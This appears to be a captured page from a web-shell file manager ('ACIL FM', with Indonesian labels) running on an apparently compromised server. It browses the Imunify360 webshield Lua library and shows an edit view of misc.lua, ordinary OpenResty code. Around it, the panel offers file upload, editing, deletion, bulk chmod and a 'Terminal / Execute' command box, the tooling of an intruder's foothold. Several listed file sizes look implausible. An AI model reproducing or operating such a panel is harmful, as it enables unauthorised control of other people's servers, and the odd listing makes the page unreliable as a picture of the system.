ACIL FM
Dark
Refresh
Current DIR:
/opt/imunify360-webshield/lualib/resty/core
/
opt
imunify360-webshield
lualib
resty
core
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
base.lua
5.4 MB
chmod
View
DL
Edit
Rename
Delete
base64.lua
3.06 MB
chmod
View
DL
Edit
Rename
Delete
coroutine.lua
769 B
chmod
View
DL
Edit
Rename
Delete
ctx.lua
3.71 MB
chmod
View
DL
Edit
Rename
Delete
exit.lua
1.41 MB
chmod
View
DL
Edit
Rename
Delete
hash.lua
3.92 MB
chmod
View
DL
Edit
Rename
Delete
misc.lua
5.7 MB
chmod
View
DL
Edit
Rename
Delete
ndk.lua
2.13 MB
chmod
View
DL
Edit
Rename
Delete
param.lua
2.35 MB
chmod
View
DL
Edit
Rename
Delete
phase.lua
1.48 MB
chmod
View
DL
Edit
Rename
Delete
regex.lua
34.61 MB
chmod
View
DL
Edit
Rename
Delete
request.lua
11.14 MB
chmod
View
DL
Edit
Rename
Delete
response.lua
6.21 MB
chmod
View
DL
Edit
Rename
Delete
shdict.lua
26.56 MB
chmod
View
DL
Edit
Rename
Delete
socket.lua
7.22 MB
chmod
View
DL
Edit
Rename
Delete
time.lua
4.64 MB
chmod
View
DL
Edit
Rename
Delete
uri.lua
3.03 MB
chmod
View
DL
Edit
Rename
Delete
utils.lua
972 B
chmod
View
DL
Edit
Rename
Delete
var.lua
3.82 MB
chmod
View
DL
Edit
Rename
Delete
worker.lua
3.41 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/imunify360-webshield/lualib/resty/core/misc.lua
-- Copyright (C) Yichun Zhang (agentzh) local base = require "resty.core.base" local ffi = require "ffi" local os = require "os" local C = ffi.C local ffi_new = ffi.new local ffi_str = ffi.string local ngx = ngx local type = type local error = error local rawget = rawget local rawset = rawset local tonumber = tonumber local setmetatable = setmetatable local FFI_OK = base.FFI_OK local FFI_NO_REQ_CTX = base.FFI_NO_REQ_CTX local FFI_BAD_CONTEXT = base.FFI_BAD_CONTEXT local new_tab = base.new_tab local get_request = base.get_request local get_size_ptr = base.get_size_ptr local get_string_buf = base.get_string_buf local get_string_buf_size = base.get_string_buf_size local subsystem = ngx.config.subsystem local ngx_lua_ffi_get_resp_status local ngx_lua_ffi_get_conf_env local ngx_magic_key_getters local ngx_magic_key_setters local _M = new_tab(0, 3) local ngx_mt = new_tab(0, 2) if subsystem == "http" then ngx_magic_key_getters = new_tab(0, 4) ngx_magic_key_setters = new_tab(0, 2) elseif subsystem == "stream" then ngx_magic_key_getters = new_tab(0, 2) ngx_magic_key_setters = new_tab(0, 1) end local function register_getter(key, func) ngx_magic_key_getters[key] = func end _M.register_ngx_magic_key_getter = register_getter local function register_setter(key, func) ngx_magic_key_setters[key] = func end _M.register_ngx_magic_key_setter = register_setter ngx_mt.__index = function (tb, key) local f = ngx_magic_key_getters[key] if f then return f() end return rawget(tb, key) end ngx_mt.__newindex = function (tb, key, ctx) local f = ngx_magic_key_setters[key] if f then return f(ctx) end return rawset(tb, key, ctx) end setmetatable(ngx, ngx_mt) if subsystem == "http" then ffi.cdef[[ int ngx_http_lua_ffi_get_resp_status(ngx_http_request_t *r); int ngx_http_lua_ffi_set_resp_status(ngx_http_request_t *r, int r); int ngx_http_lua_ffi_is_subrequest(ngx_http_request_t *r); int ngx_http_lua_ffi_headers_sent(ngx_http_request_t *r); int ngx_http_lua_ffi_get_conf_env(const unsigned char *name, unsigned char **env_buf, size_t *name_len); int ngx_http_lua_ffi_req_is_internal(ngx_http_request_t *r); ]] ngx_lua_ffi_get_resp_status = C.ngx_http_lua_ffi_get_resp_status ngx_lua_ffi_get_conf_env = C.ngx_http_lua_ffi_get_conf_env -- ngx.status local function set_status(status) local r = get_request() if not r then error("no request found") end if type(status) ~= 'number' then status = tonumber(status) end local rc = C.ngx_http_lua_ffi_set_resp_status(r, status) if rc == FFI_BAD_CONTEXT then error("API disabled in the current context", 2) end end register_setter("status", set_status) -- ngx.is_subrequest local function is_subreq() local r = get_request() if not r then error("no request found") end local rc = C.ngx_http_lua_ffi_is_subrequest(r) if rc == FFI_BAD_CONTEXT then error("API disabled in the current context", 2) end return rc == 1 end register_getter("is_subrequest", is_subreq) -- ngx.headers_sent local function headers_sent() local r = get_request() if not r then error("no request found") end local rc = C.ngx_http_lua_ffi_headers_sent(r) if rc == FFI_NO_REQ_CTX then error("no request ctx found") end if rc == FFI_BAD_CONTEXT then error("API disabled in the current context", 2) end return rc == 1 end register_getter("headers_sent", headers_sent) -- ngx.req.is_internal function ngx.req.is_internal() local r = get_request() if not r then error("no request found") end local rc = C.ngx_http_lua_ffi_req_is_internal(r) if rc == FFI_BAD_CONTEXT then error("API disabled in the current context") end return rc == 1 end elseif subsystem == "stream" then ffi.cdef[[ int ngx_stream_lua_ffi_get_resp_status(ngx_stream_lua_request_t *r); int ngx_stream_lua_ffi_get_conf_env(const unsigned char *name, unsigned char **env_buf, size_t *name_len); ]] ngx_lua_ffi_get_resp_status = C.ngx_stream_lua_ffi_get_resp_status ngx_lua_ffi_get_conf_env = C.ngx_stream_lua_ffi_get_conf_env end -- ngx.status local function get_status() local r = get_request() if not r then error("no request found") end local rc = ngx_lua_ffi_get_resp_status(r) if rc == FFI_BAD_CONTEXT then error("API disabled in the current context", 2) end return rc end register_getter("status", get_status) do local _getenv = os.getenv local env_ptr = ffi_new("unsigned char *[1]") os.getenv = function (name) local r = get_request() if r then -- past init_by_lua* phase now os.getenv = _getenv env_ptr = nil return os.getenv(name) end local size = get_string_buf_size() env_ptr[0] = get_string_buf(size) local name_len_ptr = get_size_ptr() local rc = ngx_lua_ffi_get_conf_env(name, env_ptr, name_len_ptr) if rc == FFI_OK then return ffi_str(env_ptr[0] + name_len_ptr[0] + 1) end -- FFI_DECLINED local value = _getenv(name) if value ~= nil then return value end return nil end end _M._VERSION = base.version return _M
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply